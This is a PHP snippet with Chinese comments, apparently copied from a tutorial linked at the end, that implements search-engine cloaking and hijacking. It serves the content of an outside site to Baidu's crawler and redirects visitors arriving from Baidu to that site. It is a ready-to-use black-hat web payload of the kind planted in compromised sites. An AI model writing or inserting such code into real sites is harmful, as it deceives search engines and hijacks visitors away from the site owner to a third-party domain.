<?php if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])){ //判断搜索引擎,执行跳转,这里判断的是百度。 $file = file_get_contents('https://www.mywlaq.cn/'); echo $file;//提供给百度蜘蛛抓取的页面,也就是快照。 exit; } //判断如果用户来自百度搜索,那么跳转 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")){ Header("Location: https://www.mywlaq.cn/");//指定跳转 exit; } ?>
全文:https://www.jianshu.com/p/6bbed1b9150f